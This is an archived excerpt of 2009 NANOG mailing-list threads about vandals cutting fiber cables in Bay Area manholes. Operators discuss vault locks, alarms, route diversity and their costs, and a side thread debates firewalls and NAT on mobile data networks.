infrastructure necessary to many peoples daily > lives (though twitter stayed up so it's all good). :) It would appear > that this was a deliberate act by one or more individuals, who seemed to > have a very good idea of where to strike which resulted in a low cost, > low effort attack that yielded significant results. > > > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper normal > operation? > > 2) Why didn't an alarm go off that someone had entered the area? It was > after business hours, presumably not in response to a trouble ticket, > and as such a highly suspicious action. Does it make sense for these > access portals to have some sort of alarm? I mean there is fiber running > through and as such it could carry the signaling. Would this be a > massive cost addition during construction? > > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were the > carriers simply relying on obscurity/barrier to entry? I think we'd only be speculating with no actual data surrounding the vaults the bundles traversed. That said one would *hope* vault access is not trivial and there are mechanisms in place to alert of unauthorized, unlawful entry. I would also love it if bacon was healthy for me and didn't make my cholesterol 280. The bay area is also particularly unique in the sense that there aren't many available paths to run fiber. There are mountains on one side and the bay on the other. Your available diverse paths are "the left and right side of the tracks," and as a coworker pointed out the left has been full since 1996. -r From patrick at ianai.net Thu Apr 9 19:43:11 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 9 Apr 2009 20:43:11 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: <2788527F-02FB-445A-A8A3-2AD17BD5FE52@ianai.net> On Apr 9, 2009, at 6:04 PM, Charles Wyble wrote: > Seriously though I want to start some discussion around outside > plant protection. This isn't the middle of the ocean or desert after > all. > > There were multiple fiber cuts in a major metropolitan area, > resulting in the loss of critical infrastructure necessary to many > peoples daily lives (though twitter stayed up so it's all good). :) > It would appear that this was a deliberate act by one or more > individuals, who seemed to have a very good idea of where to strike > which resulted in a low cost, low effort attack that yielded > significant results. > > > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper > normal operation? This was supposedly an inside job, and I even heard the cabinets were locked. How do you stop an employee with the key from opening a lock? (See #2.) > 2) Why didn't an alarm go off that someone had entered the area? It > was after business hours, presumably not in response to a trouble > ticket, and as such a highly suspicious action. Does it make sense > for these access portals to have some sort of alarm? I mean there is > fiber running through and as such it could carry the signaling. > Would this be a massive cost addition during construction? Possibly, and yes. > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were > the carriers simply relying on obscurity/barrier to entry? Probably, and who knows? How much did this cost the telcos involved? Probably nearly nothing. How much would it cost them to do what you suggest in #2? Probably 1,000,000 times nearly nothing, _at_least_. Guess what the telcos involved will choose? Hell, you would too in their place. -- TTFN, patrick From enger at enger.us Thu Apr 9 19:59:42 2009 From: enger at enger.us (Robert M. Enger) Date: Thu, 09 Apr 2009 20:59:42 -0400 Subject: Fiber cut in SF area In-Reply-To: <49DE7991.1030206@thewybles.com> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> <49DE5368.8030803@enger.us> <1CE4AEB0-84DC-4225-8E3B-7C45BC1FF2DF@puck.nether.net> <49DE7991.1030206@thewybles.com> Message-ID: <49DE99FE.5010901@enger.us> No RF, no WPS. If all the base stations are knocked out in a region, and there is no "over" coverage from towers out of the affected region then there are no channels to which priority access can be allotted. A potential remedy (at least for conventional cell phones) would be to scatter back-up cell sites on high-vantage-point locations. Each would need to be equipped with multiple narrow sectors using high gain antennas. These lofty sites would form a secondary canopy over the region (hence the "over/under" naming). Assuming the secondary sites are hardened, provided with back-up power and trunked with physical diversity (perhaps one links using 70/80Ghz), they should provide some additional protection in situations like this. This would provide some service when primary towers in an entire sub-area are all knocked out. Who knows, in day to day routine usage they might even fill-in a few coverage holes that have been lingering in some systems. From the reports of "zero bars" on cell phones, we can presume no "over" canopy is in operation in that region. There are other radio systems, but their scope is limited. Cellular provides wider availability. Granny can use her Jitterbug to call for help. Similarly, many business burglar/fire alarm systems use cellular to transmit alarms to the central station. With terrestrial and radio alarm reporting knocked out, many businesses will be sitting ducks. But why waste the money on system improvements. Best to conserve the funds to pay bonuses to the corporate executives. No matter how egregious the error or omission, they always walk away with big checks, and the rest of us waddle away looking for Preparation-H. Charles Wyble wrote: > > > Jared Mauch wrote: >> >> On Apr 9, 2009, at 3:58 PM, Robert M. Enger wrote: >> >>> >>> That AT&T has stopped provisioning protection fiber for automatic >>> restoral is mind boggling. >>> >>> That our crack (or on crack) govt contracting/emergency-preparedness >>> staff didn't demand protected facilities for 911 is another mind >>> boggling issue. >> >> This costs $$$ and usually isn't a problem as there are other >> ways to communicate. The law-enforcement folks qualify for GETS so >> get priority on wired/PSTN. They can also get radio priority w/ WPS. >> >>> > > I didn't know about WPS. > > http://policechiefmagazine.org/magazine/index.cfm?fuseaction=display_arch&article_id=839&issue_id=32006 > > > Interesting stuff. > From gherbert at retro.com Thu Apr 9 19:50:49 2009 From: gherbert at retro.com (George William Herbert) Date: Thu, 09 Apr 2009 17:50:49 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE719A.1020106@sonic.net> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net> Message-ID: <200904100050.n3A0onlH007803@kw.retro.com> Scott Doty wrote: >(Personally, I can think of a "MAE-Clueless" episode that was worse than >this, but that was in the 90's...) The gas main strike out front of the building in Santa Clara? Or something else? -george william herbert gherbert at retro.com From j at arpa.com Thu Apr 9 20:07:05 2009 From: j at arpa.com (jamie rishaw) Date: Thu, 9 Apr 2009 20:07:05 -0500 Subject: On a lighter note.. Message-ID: It's amusing to see the media's (misdirected) focus on the event. Expected : MULTIPLE COORDINATED FIBER CUTS TAKE OUT 911, PHONE, CELL, INTERNET TO TENS OF THOUSANDS Google News: AT&T uses Twitter ... (link) *shakes head* From j at arpa.com Thu Apr 9 20:10:44 2009 From: j at arpa.com (jamie rishaw) Date: Thu, 9 Apr 2009 20:10:44 -0500 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE8C21.6090001@thewybles.com> References: <49DE70E0.6040807@thewybles.com> <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> <49DE8C21.6090001@thewybles.com> Message-ID: On Thu, Apr 9, 2009 at 7:00 PM, Charles Wyble wrote: > I tried to be very careful to say that it appears to have been sabatoage, > but that it's not confirmed. T is offering a 6-figure bounty already for anyone with info.. I'd say it's pretty safe to assume.. -jamie From mike at rockynet.com Thu Apr 9 20:15:23 2009 From: mike at rockynet.com (Mike Lewinski) Date: Thu, 09 Apr 2009 19:15:23 -0600 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> References: <49DE70E0.6040807@thewybles.com> <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> Message-ID: <49DE9DAB.2070609@rockynet.com> Rod Beck wrote: > Hold on. Who says this sabotage? By the time the second plane hit WTC, intent was apparent. I think in this case intent is also apparent based on proximity (and the previously mentioned reward AT&T has posted for the capture of "vandals"). Mike From jmartinez at zero11.com Thu Apr 9 20:27:53 2009 From: jmartinez at zero11.com (John Martinez) Date: Thu, 09 Apr 2009 18:27:53 -0700 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: References: Message-ID: <49DEA099.8070309@zero11.com> has anyone been able to pin point the cut? There have been mentions of Redwood City, San Carlos, San Francisco. Where exactly is the cut? William R. Lorenz wrote: > On Thu, 9 Apr 2009, Joe Abley wrote: > >> I am hearing from multiple people about connectivity problems in the >> bay area, and they all seem to have 200 Paul in common. ISC is >> reporting a fibre cut between 529 Bryant, Palo Alto and 200 Paul, SF. >> At least one Unitedlayer customer in 200 Paul seems to be off the air. > > We're showing spikes in latency out in LAX on Cogent, as well as a few > other interesting anomalies that are consistent with shifts in traffic in > a number of different locations. Has anyone noticed any network routing > issues outside of the immediately-effected area, as a result of this? > > 9 gi0-0-0.core01.lax05.atlas.cogentco.com (154.54.6.185) > 65.447 ms 65.449 ms 65.434 ms > 10 xo.lax05.atlas.cogentco.com (154.54.11.242) > 127.708 ms 127.683 ms 127.680 ms > > > > -- > William R. Lorenz > From jmartinez at zero11.com Thu Apr 9 20:32:47 2009 From: jmartinez at zero11.com (John Martinez) Date: Thu, 09 Apr 2009 18:32:47 -0700 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: References: Message-ID: <49DEA1BF.5040502@zero11.com> Quick search on Google. Looks like there is a colo at 200 Paul Ave. San Francisco, CA 94124 --------------------------------------- Selected businesses at this address: BT Americas? Core 180 Inc? Day & Nite Trade Bindery? Facebook Inc? - 1 review Hallo Communications? Minute Factory The? Net Logic? Network Information Mexico? Pacific Internet Exchange? T-Mobile? Telx SF LLC? UnitedLayer, LLC? - 1 review Universal Access Inc? --------------------------------------- From aaron.glenn at gmail.com Thu Apr 9 20:40:45 2009 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Thu, 9 Apr 2009 18:40:45 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> References: <49DE70E0.6040807@thewybles.com> <1E8B940C5E21014AB8BE70B975D40EDB01627ED8@bert.HiberniaAtlantic.local> Message-ID: <18f601940904091840k71132108h40c3c1bf9e067075@mail.gmail.com> On Thu, Apr 9, 2009 at 4:55 PM, Rod Beck wrote: > Hold on. Who says this sabotage? the hacksaw that was taken to two manholes within two hours of each other? I'd love to see the RFO explaining an accident like that. From fergdawgster at gmail.com Thu Apr 9 20:42:04 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Thu, 9 Apr 2009 18:42:04 -0700 Subject: Vandalism Likely In Big South Bay Phone Outage [Was: Re: Outside plant protection, fiber cuts, interwebz down oh noes!] Message-ID: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 More on this: [snip] SAN JOSE (CBS 5 / KCBS / AP / BCN) -- Vandals severed multiple fiber optic cables on Thursday, leaving thousands of people in Santa Clara, Santa Cruz and San Benito counties without cell phone, Internet and landline service, police said. Crews were making repairs, but estimated that it would likely be sometime Thursday night before all service was restored. The outage which began about 2 a.m. affected both landlines and cellular phones for various AT&T, Verizon, Sprint and T-Mobile customers. San Jose Police Sgt. Ronnie Lopez, when asked whether the severed fiber optic cables were the work of vandals, said, "that's a pretty good premise." No arrests had yet been made, but police joined repair crews at the scene of the first four severed cables -- located ten feet down a manhole on Monterey Highway, north of Blossom Hill Road in San Jose. Authorities also found two other locations where fiber optic cables were similarly cut -- near Hayes Avenue and Cottle Road in San Jose, and in the 1700 block of Old County Road in San Carlos. Officials said the incidents were related and the police indicated all three locations were being treated as crime scenes. The FBI said while the sabotage acts were criminal, there was no evidence of terrorrism. [snip] More: http://cbs5.com/local/phone.internet.outage.2.980578.html - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj4DBQFJ3qPYq1pz9mNUZTMRAiMlAJ4ztuWURVpURUAbhfzweS/h/nyVCQCVFr+s a+KKWjnze77eqjkrbEB0kg== =+hA8 -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From jabley at hopcount.ca Thu Apr 9 21:25:59 2009 From: jabley at hopcount.ca (Joe Abley) Date: Thu, 9 Apr 2009 22:25:59 -0400 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: <49DEA1BF.5040502@zero11.com> References: <49DEA1BF.5040502@zero11.com> Message-ID: <5EC72124-414D-46D6-886A-AD23F97E8EA7@hopcount.ca> On 9 Apr 2009, at 21:32, John Martinez wrote: > Quick search on Google. > Looks like there is a colo at 200 Paul Ave. San Francisco, CA 94124 I can confirm that indeed there is, hence my mail :-) From jabley at hopcount.ca Thu Apr 9 21:27:10 2009 From: jabley at hopcount.ca (Joe Abley) Date: Thu, 9 Apr 2009 22:27:10 -0400 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: <5EC72124-414D-46D6-886A-AD23F97E8EA7@hopcount.ca> References: <49DEA1BF.5040502@zero11.com> <5EC72124-414D-46D6-886A-AD23F97E8EA7@hopcount.ca> Message-ID: <55019CDD-0B98-4721-B50E-EF607703A9AF@hopcount.ca> On 9 Apr 2009, at 22:25, Joe Abley wrote: > On 9 Apr 2009, at 21:32, John Martinez wrote: > >> Quick search on Google. >> Looks like there is a colo at 200 Paul Ave. San Francisco, CA 94124 > > I can confirm that indeed there is, hence my mail :-) Hence my mail to the outages list, I mean, which is what you were replying to apparently (from the subject), despite the fact that you sent it to NANOG. Sorry for the noise. Joe From ravi at cow.org Thu Apr 9 21:52:52 2009 From: ravi at cow.org (Ravi Pina) Date: Thu, 9 Apr 2009 22:52:52 -0400 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: <49DEA099.8070309@zero11.com> References: <49DEA099.8070309@zero11.com> Message-ID: <20090410025252.GU39240@neu.cow.org> The reports seem to be settling on 2 distinct sites -- South San Jose and San Carlos. The former had 4 cuts and latter just 1. -r On Thu, Apr 09, 2009 at 06:27:53PM -0700, John Martinez wrote: > has anyone been able to pin point the cut? > There have been mentions of Redwood City, San Carlos, San Francisco. > Where exactly is the cut? > > > > William R. Lorenz wrote: > > On Thu, 9 Apr 2009, Joe Abley wrote: > > > >> I am hearing from multiple people about connectivity problems in the > >> bay area, and they all seem to have 200 Paul in common. ISC is > >> reporting a fibre cut between 529 Bryant, Palo Alto and 200 Paul, SF. > >> At least one Unitedlayer customer in 200 Paul seems to be off the air. > > > > We're showing spikes in latency out in LAX on Cogent, as well as a few > > other interesting anomalies that are consistent with shifts in traffic in > > a number of different locations. Has anyone noticed any network routing > > issues outside of the immediately-effected area, as a result of this? > > > > 9 gi0-0-0.core01.lax05.atlas.cogentco.com (154.54.6.185) > > 65.447 ms 65.449 ms 65.434 ms > > 10 xo.lax05.atlas.cogentco.com (154.54.11.242) > > 127.708 ms 127.683 ms 127.680 ms > > > > > > > > -- > > William R. Lorenz > > > From kin-wei.lee at hp.com Thu Apr 9 21:57:49 2009 From: kin-wei.lee at hp.com (Lee, Steven (NSG Malaysia)) Date: Fri, 10 Apr 2009 02:57:49 +0000 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <49DE7201.4070509@thewybles.com> References: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6A0@caralain.haven.nynaeve.net> <49DE7201.4070509@thewybles.com> Message-ID: <084962C061414240A0CDB4BE328A9B2D119F91730A@GVW1100EXC.americas.hpqcorp.net> Hi Charles/Skywing, is Verizon filter the unsolicated inbound traffic on the firewall or on the border router? Regards, Steven Lee -----Original Message----- From: Charles Wyble [mailto:charles at thewybles.com] Sent: Friday, April 10, 2009 6:09 AM To: Skywing Cc: NANOG list Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? Yep verizon does indeed filter all unsolicated inbound traffic to the EVDO network. It can be a blessing or a curse. :) Skywing wrote: > Verizon filters unsolicited inbound traffic for their EVDO customers in my experience. > > - S > > -----Original Message----- > From: Roland Dobbins > Sent: Thursday, April 09, 2009 09:32 > To: NANOG list > Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? > > > On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: > >> Please share your thought and thanks in advance :) > > No, IMHO. Most broadband operators don't insert firewalls inline in > front of their subscribers, and wireless broadband is no different. > > The infrastructure itself must be protected via iACLs, the various > vendor-specific control-plane protection mechanisms, and so forth, but > inserting additional state in the middle of everything doesn't buy > anything, and introduces additional constraints and concerns. > > ----------------------------------------------------------------------- > Roland Dobbins // +852.9133.2844 mobile > > Our dreams are still big; it's just the future that got small. > > -- Jason Scott > > > From mmc at internode.com.au Thu Apr 9 22:11:20 2009 From: mmc at internode.com.au (Matthew Moyle-Croft) Date: Fri, 10 Apr 2009 12:41:20 +0930 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: <49DEB8D8.9010704@internode.com.au> Charles Wyble wrote: > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper normal > operation? Some people do lock their vaults/pits/manholes. But, to be honest, I'm not sure it helps a lot. How many passersby would stop someone appearing to be in a phone company/telco high-vis vest using bolt cutters - telling them the lock had seized? (I can also think of quite a few options which don't require opening a lid, but here's not the place to discuss!) > > 2) Why didn't an alarm go off that someone had entered the area? It > was after business hours, presumably not in response to a trouble > ticket, and as such a highly suspicious action. Does it make sense for > these access portals to have some sort of alarm? I mean there is fiber > running through and as such it could carry the signaling. Would this > be a massive cost addition during construction? Alarms mean power. Adding power to hundreds of km of a route to every pit/manhole would cost a lot - it's underground and often quite wet. Better to provide diverse route protection for the same cost - then you protect against accidental external aggression. Maybe you could do something neat with fibre and some of the active monitoring stuff to detect pit openning passively, but you'd want it to be pretty good and reliable. Lots of false alarms lead to NOCs not caring. > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were > the carriers simply relying on obscurity/barrier to entry? Obscurity and that most people are blissfully unaware of manholes and other street furniture. Locking is certainly possible but I'm not convinced it adds a LOT (see above). Accidental external aggression is far more likely. Backhoe fade and equipment failure is a bigger problem than vandalism. MMC From jmamodio at gmail.com Thu Apr 9 22:25:31 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 9 Apr 2009 22:25:31 -0500 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: <20090410025252.GU39240@neu.cow.org> References: <49DEA099.8070309@zero11.com> <20090410025252.GU39240@neu.cow.org> Message-ID: <202705b0904092025wef680fbq993a22cd4e1b193f@mail.gmail.com> On Thu, Apr 9, 2009 at 9:52 PM, Ravi Pina wrote: > The reports seem to be settling on 2 distinct sites -- South > San Jose and San Carlos. ?The former had 4 cuts and latter > just 1. AT&T already put a statement mentioning the two sites and offering a $100K reward http://www.att.com/gen/press-room?pid=4800&cdvn=news&newsarticleid=26715 - Jorge From rubensk at gmail.com Thu Apr 9 23:19:05 2009 From: rubensk at gmail.com (Rubens Kuhl) Date: Fri, 10 Apr 2009 01:19:05 -0300 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: <6bb5f5b10904092119y21971ffdm77333e62433b8c86@mail.gmail.com> On shared media like radio access, every unwanted packet means less performance you will get out of the network. This can be done by NAT, stateful filtering with public IPs or stateless filtering with public IPs; the advantage of doing NAT is making it easier for the end-point software to know that (two ways: noticing your local IP address is from RFC1918 space, or connecting to a server that tells your IP in order to compare it to the local address). As such, GPRS, EDGE, EVDO, HSPA, LTE and Mobile WiMAX services have good reasons to use NAT, and most do. Rubens On Thu, Apr 9, 2009 at 12:48 PM, Lee, Steven (NSG Malaysia) wrote: > Hi all, in most of the existing 2G/2.5G mobile PS-core (Packet Switch) networks have Gi segment (interface between GGSN & IP Router/firewall). Due to the IP address constraint, operator usually do NAT on the Gi firewall to NAT the private IP to public IP in the past. Looking at the traffic pattern and user access behaviour, does it make sense to have firewall between the GGSN & Public Internet if the public IP addresses are sufficient to cater for mobile subscribers? Especially with 3G/UMTS/HSPA or even LTE in the future. > > Please share your thought and thanks in advance :) > > Regards, > Steven Lee > From jcdill.lists at gmail.com Fri Apr 10 00:22:41 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Thu, 09 Apr 2009 22:22:41 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <20090410004145.GR39240@neu.cow.org> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> Message-ID: <49DED7A1.6090809@gmail.com> Ravi Pina wrote: > > That said one would *hope* vault access > is not trivial and there are mechanisms in place to alert of > unauthorized, unlawful entry. I regularly drove on these roads when these lines were being put in up-and-down the SF Peninsula. There are 4 manhole covers every 1/4 mile or so that provide access to this fiber. Do the math. Multiply by the number of miles of fiber runs across the world, and the number of access points per mile on each run. Exactly how do you plan to make "vault access non-trivial" and yet make the access as easy as it needs to be for routine maintenance and repair? My guess is that it is probably less expensive in the long run to leave them unprotected and just fix the problems when they occur than to try to "secure" the vaults and deal with the costs and extended outage delays when access it "secured" and it takes longer to get into a vault to fix things. jc From ravi at cow.org Fri Apr 10 00:51:16 2009 From: ravi at cow.org (Ravi Pina) Date: Fri, 10 Apr 2009 01:51:16 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DED7A1.6090809@gmail.com> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com> Message-ID: <20090410055116.GV39240@neu.cow.org> On Thu, Apr 09, 2009 at 10:22:41PM -0700, JC Dill wrote: > Ravi Pina wrote: > > > >That said one would *hope* vault access > >is not trivial and there are mechanisms in place to alert of > >unauthorized, unlawful entry. > > I regularly drove on these roads when these lines were being put in > up-and-down the SF Peninsula. There are 4 manhole covers every 1/4 mile > or so that provide access to this fiber. Do the math. Multiply by the > number of miles of fiber runs across the world, and the number of access > points per mile on each run. Exactly how do you plan to make "vault > access non-trivial" and yet make the access as easy as it needs to be > for routine maintenance and repair? Having never been in a vault or know how to get in one other than apparently lifting a manhole cover I can't possible answer that with anything more than guessing. > My guess is that it is probably less expensive in the long run to leave > them unprotected and just fix the problems when they occur than to try > to "secure" the vaults and deal with the costs and extended outage > delays when access it "secured" and it takes longer to get into a vault > to fix things. I wasn't thinking Exodus/C&W/SAVVIS/Whoever level security, but considering communications cables traverse such sites it is hardly unreasonable to think they could implement some alarm that is centrally monitored by a NOC. I'm guessing *anything* is better than what appears to be the *nothing* that is in place now. Also not to get sensationalist, but less expensive than a life that could be lost if an emergency call can't be put through? -r From deleskie at gmail.com Fri Apr 10 01:02:12 2009 From: deleskie at gmail.com (deleskie at gmail.com) Date: Fri, 10 Apr 2009 06:02:12 +0000 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <20090410055116.GV39240@neu.cow.org> References: <49DE70E0.6040807@thewybles.com><20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com><20090410055116.GV39240@neu.cow.org> Message-ID: <1576117102-1239343341-cardhu_decombobulator_blackberry.rim.net-495679522-@bxe1087.bisx.prod.on.blackberry> Not to turn this into an ethical typ discussion but this arguement would have to assume you could sue the telco not the 'vandal' due to a loss of life if it occured, and that, that dollar amt would be greater then 'securing' all cables. The cost to fix all pintos' gas tanks was only $11 per car unit and it was gambled, though they lost it was cheeper then the lawsuits, I'm betting the while fewer units, its order of magnatitudes more then 11$ per unit to 'secure' access points with a lot less certain negative lawsuit outcomes. Sent from my BlackBerry device on the Rogers Wireless Network -----Original Message----- From: Ravi Pina Date: Fri, 10 Apr 2009 01:51:16 To: JC Dill Cc: nanog at nanog.org Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! On Thu, Apr 09, 2009 at 10:22:41PM -0700, JC Dill wrote: > Ravi Pina wrote: > > > >That said one would *hope* vault access > >is not trivial and there are mechanisms in place to alert of > >unauthorized, unlawful entry. > > I regularly drove on these roads when these lines were being put in > up-and-down the SF Peninsula. There are 4 manhole covers every 1/4 mile > or so that provide access to this fiber. Do the math. Multiply by the > number of miles of fiber runs across the world, and the number of access > points per mile on each run. Exactly how do you plan to make "vault > access non-trivial" and yet make the access as easy as it needs to be > for routine maintenance and repair? Having never been in a vault or know how to get in one other than apparently lifting a manhole cover I can't possible answer that with anything more than guessing. > My guess is that it is probably less expensive in the long run to leave > them unprotected and just fix the problems when they occur than to try > to "secure" the vaults and deal with the costs and extended outage > delays when access it "secured" and it takes longer to get into a vault > to fix things. I wasn't thinking Exodus/C&W/SAVVIS/Whoever level security, but considering communications cables traverse such sites it is hardly unreasonable to think they could implement some alarm that is centrally monitored by a NOC. I'm guessing *anything* is better than what appears to be the *nothing* that is in place now. Also not to get sensationalist, but less expensive than a life that could be lost if an emergency call can't be put through? -r From fergdawgster at gmail.com Fri Apr 10 01:09:10 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Thu, 9 Apr 2009 23:09:10 -0700 Subject: Fwd: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <20090410055116.GV39240@neu.cow.org> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com> <20090410055116.GV39240@neu.cow.org> Message-ID: <6cd462c00904092309t3cb1e994ua14b60fd69fbc31b@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I've really got ask if this thread has run it's course. Given the nature of earlier discussions of off-topic issues, I think we've pretty much jumped the shark with people's personal anecdotes of how to disable fiber connectivity. - - ferg - ---------- Forwarded message ---------- From: Ravi Pina Date: Thu, Apr 9, 2009 at 10:51 PM Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! To: JC Dill Cc: "nanog at nanog.org" On Thu, Apr 09, 2009 at 10:22:41PM -0700, JC Dill wrote: > Ravi Pina wrote: > > > >That said one would *hope* vault access > >is not trivial and there are mechanisms in place to alert of > >unauthorized, unlawful entry. > > I regularly drove on these roads when these lines were being put in > up-and-down the SF Peninsula. There are 4 manhole covers every 1/4 mile > or so that provide access to this fiber. Do the math. Multiply by the > number of miles of fiber runs across the world, and the number of access > points per mile on each run. Exactly how do you plan to make "vault > access non-trivial" and yet make the access as easy as it needs to be > for routine maintenance and repair? Having never been in a vault or know how to get in one other than apparently lifting a manhole cover I can't possible answer that with anything more than guessing. > My guess is that it is probably less expensive in the long run to leave > them unprotected and just fix the problems when they occur than to try > to "secure" the vaults and deal with the costs and extended outage > delays when access it "secured" and it takes longer to get into a vault > to fix things. I wasn't thinking Exodus/C&W/SAVVIS/Whoever level security, but considering communications cables traverse such sites it is hardly unreasonable to think they could implement some alarm that is centrally monitored by a NOC. I'm guessing *anything* is better than what appears to be the *nothing* that is in place now. Also not to get sensationalist, but less expensive than a life that could be lost if an emergency call can't be put through? - -r -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ3uJ/q1pz9mNUZTMRAoRhAJ9m7GTv719RlXUrR6vuGigwpuhJSwCg+sc5 KLrSxYR/cRu1IJOjjM4Go0c= =x059 -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From jcdill.lists at gmail.com Fri Apr 10 01:12:04 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Thu, 09 Apr 2009 23:12:04 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <20090410055116.GV39240@neu.cow.org> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com> <20090410055116.GV39240@neu.cow.org> Message-ID: <49DEE334.3040500@gmail.com> Ravi Pina wrote: > Also not to get sensationalist, but less expensive than a life that > could be lost if an emergency call can't be put through? Remember the exploding Ford Pinto? http://www.calbaptist.edu/dskubik/pinto.htm From joelja at bogus.com Fri Apr 10 01:13:43 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Thu, 09 Apr 2009 23:13:43 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <1576117102-1239343341-cardhu_decombobulator_blackberry.rim.net-495679522-@bxe1087.bisx.prod.on.blackberry> References: <49DE70E0.6040807@thewybles.com><20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com><20090410055116.GV39240@neu.cow.org> <1576117102-1239343341-cardhu_decombobulator_blackberry.rim.net-495679522-@bxe1087.bisx.prod.on.blackberry> Message-ID: <49DEE397.4050102@bogus.com> deleskie at gmail.com wrote: > Not to turn this into an ethical typ discussion but this arguement > would have to assume you could sue the telco not the 'vandal' due to > a loss of life if it occured, and that, that dollar amt would be > greater then 'securing' all cables. Internet lawyering is a different mailing list... joel > The cost to fix all pintos' gas tanks was only $11 per car unit and > it was gambled, though they lost it was cheeper then the lawsuits, > I'm betting the while fewer units, its order of magnatitudes more > then 11$ per unit to 'secure' access points with a lot less certain > negative lawsuit outcomes. Sent from my BlackBerry device on the > Rogers Wireless Network > > -----Original Message----- From: Ravi Pina > > Date: Fri, 10 Apr 2009 01:51:16 To: JC Dill > Cc: nanog at nanog.org Subject: Re: Outside plant > protection, fiber cuts, interwebz down oh noes! > > > On Thu, Apr 09, 2009 at 10:22:41PM -0700, JC Dill wrote: >> Ravi Pina wrote: >>> That said one would *hope* vault access is not trivial and there >>> are mechanisms in place to alert of unauthorized, unlawful entry. >>> >> I regularly drove on these roads when these lines were being put in >> up-and-down the SF Peninsula. There are 4 manhole covers every >> 1/4 mile or so that provide access to this fiber. Do the math. >> Multiply by the number of miles of fiber runs across the world, and >> the number of access points per mile on each run. Exactly how do >> you plan to make "vault access non-trivial" and yet make the access >> as easy as it needs to 